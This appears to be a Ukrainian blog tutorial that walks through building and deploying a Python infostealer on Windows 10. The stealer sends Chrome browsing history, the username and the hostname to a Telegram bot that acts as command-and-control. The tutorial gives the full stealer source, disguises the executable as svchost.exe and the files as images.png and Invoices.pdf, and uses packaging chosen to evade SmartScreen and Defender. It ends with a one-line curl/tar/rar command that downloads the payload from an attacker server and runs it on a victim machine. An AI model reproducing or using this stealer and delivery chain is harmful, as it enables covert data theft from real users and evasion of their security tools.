Зізнаюсь, до написанння цього матеріалу мене надихнула в’єтнамська APT-група LoneNone. Довгими холодними вечорами я перечитував звіти Sentinel LABS, поки до мене не дійшло, що це геніально просто! Власне, так і народилася ця нотатка. В ній описаний покроковий процес створення, впровадження і розгортання Python-стилера на “комп’ютері-жертві” під управлінням OS Windows 10. Метод цікавий тим, що на одному диханні обходить безпеку Windows й збирає логи браузера Google Chrome, після чого звітує про це у Telegram-бот, який виступає в ролі шпигунського Command & Control сервера (C2). Не любитель Telegram, але в якості “халявного” ресурсу можна спробувати! Тим більше метод простий і ефективний. Головна ідея в тому, що його можна доробляти під різні сценарії. Не лише Red Team, це може бути й просто бот для адміністративних чи аналітичних цілей. Отже, поїхали!
Крок 1. Реєструємо бота в Telegram
Переходимо в десктопний додаток Telegram, вводимо в пошук @BotFather, заходимо в нього й створюємо там звичайного бота через команду /newbot. Задаємо йому ім’я та нікнейм, отримуємо токен доступу: 111111111:AAAxxxxxrtertertrGVVVVVVdfsdfsdfsdfsdfsd
Заходимо в новоспеченого бота, тиснемо /Start і відправляємо йому слово “Тест”.
Тестуємо тепер з’єднання з Telegram-ботом по API через URL-адресу:
https://api.telegram.org/bot111111111:AAAxxxxxrtertertrGVVVVVVdfsdfsdfsdfsdfsd/getUpdates – має відповісти щось на зразок “True, OK”. Якщо без помилок, то комунікація працює. Тоді далі ще раз повторно відправляємо запит і у форматі JSON підтягнуться дані чату, в якому ми надіслали “Тест”. Копіюємо звідти ID цього чату, наприклад: XUXYXXXXXX. Він знадобиться для конфігурації.
На цьому частина з Telegram завершена.
Крок 2. Написанння інфостилера на Python
Я підготував максимально простий та банальний стилер на Python, який використовує лише стандартні модулі, нічого надскладного. Він перевірятиме шляхи браузера Google Chrome, де зберігається історія веб-серфінгу користувача й відправлятиме її через метод URLlib на Telegram-сервер в JSON-форматі. Разом з надісланими логами також будуть ідентифікатори: ім’я комп’ютера та ім’я користувача. В скрипті немає шифрування окрім закодованих в Base64 токена і Chat ID. Також тут немає збору куків і паролів, хоча це легко можна додати. Цей код лише як демонстрація того, що можна здійснити у даному векторі, тобто база для подальших експериментів. Вся суть насправді не в стилері, а в доставці. Але про це згодом.
До речі, замість Telegram можна було б використати і відправку на SMTP-сервер, але потрібно збирати додаткові модулі Python. А чим більше модулів – тим важче обходити захист Windows.
Отже, повний вихідний код стилера:
import sqlite3
import os
import shutil
import json
import urllib.request
import urllib.parse
import urllib.error
import ssl
import base64
ENCODED_TOKEN = "ODIwNjQaZxxxxxSZ0kydjJqd1pqN3haR2tiWjUwNzA5NDpxxxxxxxxxxxx=="
ENCODED_CHAT_ID = "wOTxxxxxx4NTgg=="
def decode_config():
BOT_TOKEN = base64.b64decode(ENCODED_TOKEN).decode('utf-8')
CHAT_ID = base64.b64decode(ENCODED_CHAT_ID).decode('utf-8')
return BOT_TOKEN, CHAT_ID
BOT_TOKEN, CHAT_ID = decode_config()
def get_chrome_history():
history_path = os.path.join(
os.environ['LOCALAPPDATA'],
'Google', 'Chrome',
'User Data', 'Default', 'History'
)
if not os.path.exists(history_path):
return []
temp_db = "chrome_history_temp.db"
shutil.copy2(history_path, temp_db)
sites = []
try:
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute('''
SELECT url, title, visit_count
FROM urls
ORDER BY last_visit_time DESC
LIMIT 10
''')
for row in cursor.fetchall():
url, title, visits = row
sites.append({
'url': url,
'title': title[:100] if title else 'No title',
'visits': visits
})
conn.close()
except Exception as e:
print(f"[!] Database error: {e}")
sites.append({'error': str(e)})
finally:
if os.path.exists(temp_db):
try:
os.remove(temp_db)
except:
pass
return sites
def send_to_telegram(text):
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
data = urllib.parse.urlencode({
'chat_id': CHAT_ID,
'text': text,
'parse_mode': 'HTML',
'disable_web_page_preview': True
}).encode('utf-8')
context = ssl._create_unverified_context()
try:
req = urllib.request.Request(url, data=data, method='POST')
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
with urllib.request.urlopen(req, timeout=10, context=context) as response:
result = json.loads(response.read().decode())
return result.get('ok', False)
except urllib.error.HTTPError as e:
error_body = e.read().decode() if e.readable() else ''
print(f"[!] Telegram API Error: {e.code} - {e.reason}")
print(f"[!] Response: {error_body}")
# Якщо помилка токену/чату
if e.code == 400:
print("[!] Check BOT_TOKEN and CHAT_ID!")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def main():
print("=" * 60)
print("CHROME HISTORY STEALER - TELEGRAM DEMO")
print("=" * 60)
print("[*] Accessing Chrome history database...")
history = get_chrome_history()
if not history or (len(history) == 1 and 'error' in history[0]):
print("[!] No history found or access error")
history = [
{'title': 'Google Search', 'url': 'https://google.com', 'visits': 5},
{'title': 'YouTube', 'url': 'https://youtube.com', 'visits': 3},
{'title': 'GitHub', 'url': 'https://github.com', 'visits': 2}
]
report = "🕵️ <b>CHROME HISTORY STEALER DEMO</b>\n\n"
report += f"👤 User: {os.environ.get('USERNAME', 'UNKNOWN')}\n"
report += f"💻 Host: {os.environ.get('COMPUTERNAME', 'UNKNOWN')}\n"
report += f"📊 Sites found: {len(history)}\n\n"
for i, site in enumerate(history[:8], 1):
title = site['title'].replace('<', '<').replace('>', '>')
url = site['url'][:60] + "..." if len(site['url']) > 60 else site['url']
visits = site.get('visits', 1)
report += f"{i}. <b>{title}</b>\n"
report += f" 🔗 {url}\n"
report += f" 👁 {visits} visits\n\n"
report += "<i>Educational demonstration only</i>\n"
report += "SSL verification disabled for demo purposes"
print("[*] Sending to Telegram...")
success = send_to_telegram(report)
if success:
print("[+] SUCCESS! Check your Telegram bot.")
else:
print("[!] FAILED. Trying alternative method...")
try:
http_url = f"http://api.telegram.org/bot8206407094:AAFtEKdnxxxxxxxxxj7xZGkbZ543Arw/sendMessage"
data = urllib.parse.urlencode({
'chat_id': CHAT_ID,
'text': "DEMO: Chrome history stealer test (HTTP fallback)",
}).encode()
req = urllib.request.Request(http_url, data=data, method='POST')
with urllib.request.urlopen(req, timeout=5) as resp:
print("[+] HTTP fallback succeeded (no SSL)")
except:
print("[!] HTTP also failed. Check network/proxy.")
print(f"\n Local results ({len(history)} sites):")
for i, site in enumerate(history[:3], 1):
print(f" {i}. {site['title'][:40]}...")
try:
with open("history_demo.json", "w", encoding="utf-8") as f:
json.dump(history, f, indent=2, ensure_ascii=False)
print("[+] JSON saved: history_demo.json")
except Exception as e:
print(f"[!] Failed to save JSON: {e}")
print("\n" + "=" * 60)
print("Tip: For real use, add SSL certificates to portable Python")
print("=" * 60)
input("\nPress Enter to exit...")
if __name__ == "__main__":
main() Зберігаємо цей файл як images.py. Нижче я поясню чому така назва.
Крок 3. Білдинг. Маскування і пакування файлів.
Щоб цей скрипт запустити на комп’ютері-жертві в операційній системі Windows, необхідно мати Python з усіма тими модулями, які ми імпортувати в скрипті. Звісно цього не буде. Але є рішення!
Можна зібрати під цей скрипт інтерпретатор – такий собі портативний Python, в який можна запакувати всі необхідні модулі і зберегти у вигляді звичайного або незвичайного exe-файлу, наприклад – svchost.exe.
Отже запускаємо інтерпретатор під скрипт images.py:
Під нього збираємо інтерпретатор python:
pip install pyinstallerpyinstaller --onefile --noconsole --name=svchost.exe images.py
Ми не спроста задали таку назву svchost.exe – це файл системного процесу Windows. Йому найбільше довіряє Windows, якщо він не виконує ніякої підозрілої активності. З 10 спроб, цей файл найменше раз був заблокований. Навіть chromeupdate.exe удостоївся бану. Хоча, це найпідступніший процес-паразит, який дуже часто мімікрує під службовий процес і зберігає в пам’яті шпинунське ПЗ, виводить з ладу десятки тисяч комп’ютерів на рік. Але Windows йому довіряє… Власне тому, ми і використали його!
Отже, на виході отримуємо 2 файли: svchost.exe і images.py. Останній легким “порухом рук” перейменовуємо на images.png! Не бійтеся, Python його зрозуміє, якщо зробити все правильно…
Тепер створюємо папку Windows і кладемо в неї файл svchost.exe, створюємо в ній ще одну папку Lib і вже в неї кладемо images.png. Архівуємо це все WinRAR з використанням пароля. Називаємо файл – Invoices.rar. І знову застосовуємо маскування – так само перейменовуємо його на Invoices.pdf. Він автоматично змінить тип, але нічого страшного! Його ми розпакуємо однофайловою консольною версією WinRAR – Rar.exe, яка лежить в кореневому каталогу цього додатка. Просто копієюмо цей exe-файл в одну папку з архівом Invoices.pdf. Білд фактично готовий.
Тепер залишилося покласти їх двох у ZIP-архів.Це можна зробити з допомогою архіватора 7-Zip – він по замовчуванню не передає маркування “Mark-of-the-Web” (MotW) на яке спрацьовує Windows Smart Screen як на червону ганчірку. Це дуже важливо, адже це зменшить поверхню виявлення та блокування пейлоаду.
Отже, в результаті отримуємо остаточний архів – Invoice.zip.
Крок 4. Доставка і запуск.
Для проникнення на комп’ютер-жертви можна використати багато способів. Починаючи від легітимних та закінчуючи хакінгом, фішингом, вішингом, соціальною інженерією тощо. Ці способи я описувати у цій статті не буду.
Отже, вважатимемо, що попередньо у нас вже розгорнутий RAT на комп’ютері жертви і залишилося тільки передати шкідливе навантаження на її борт. Для передачі файлу застосуємо саморозгорнутий локальний HTTP-сервер на Python. Просто запускаємо його в папці з архівом і отримуємо URL-адресу:
python -m http.server XXXX– потрібно вказати TCP-порт, який у вас буде слухати комп’ютер в публічному інтернеті. До нього зможе підключитися комп’ютер жертви і напряму завантажити файл. Можна використати “Port Forwarding”, DynDNS або NGROK.http://IP_адреса_серверап:XXXX/Invoice.zip

Тепер найвідповідальніша частина: завапнтаження пейлоаду на комп’ютер жертви. Ми використаємо комбінацію різних команд консолі CMD Windows, об’єднавши їх в одну, застосовуючи стандартні вбудовані утиліти:
curl -o C:\Users\Public\invoice.zip http://IP_адреса_сервера:XXXX/invoice.zip && tar -xf C:\Users\Public\invoice.zip -C C:\Users\Public\ && cd /d C:\Users\Public && "images.png" x -ibck -y -pX3ff7b6Bfi76keXy3xmSWnX0uqsFYur "Invoice.pdf" C:\Users\Public && start C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\Lib\images.png
Власне. цю феноменальну команду я і почерпнув у Lazarus. Все геніально і просто. В ролі даунлоадера виступає вбудований в Windows 10 – Curl, а розпаковщиком ZIP – буде Tar. Вказуються конкретні директорії, а саме локація Users\Public, яку Windows зазвичай не так критично сприймає і мало “гавкає” на неї. В якості другого розпаковщика, як вже писалося вище, ми використаємо замаскований під images.png – Rar.exe. Благо, комадний рядок Windows його чудово сприймає і не звертає увагу на зовнішній шар. Ця команда у мене чудово відпрацювала з першого разу не викликаючи жодної уваги збоку Windows Defender. Але якщо помилитися, допустити синтаксичну помилку, або почати повторно закачувати багато раз – Windows може не сподобатися файл svchost.exe і заблокувати. Тобто, він за усім як той “хробак” уважно стежить і сприймає за аномалію будь-що, що не вписується в стандартну поведінку. У той самий час, пропускає ось таку діру безпеки, яку може використати кожен для доставки шкідливого файлу. Але хай буде!
Як бачимо, остання команда start C:\Users\Public\Windows\svchost.exe C:\Users\Public\Windows\Lib\images.png здійснює запуск замаскованого Python-інтерпретатора, який виконує запуск стилера. Той тут же “постукав” на Telegram-сервер і в чат надійшло повідомлення з даними, які він викрав в браузера Google Chrome. Десь так С.Б.У. моніторить наш інтернет-перегляд (жартую).
Приклад на скріншотах:


Автор: © Konrad Ravenstone, KR. Laboratories Research





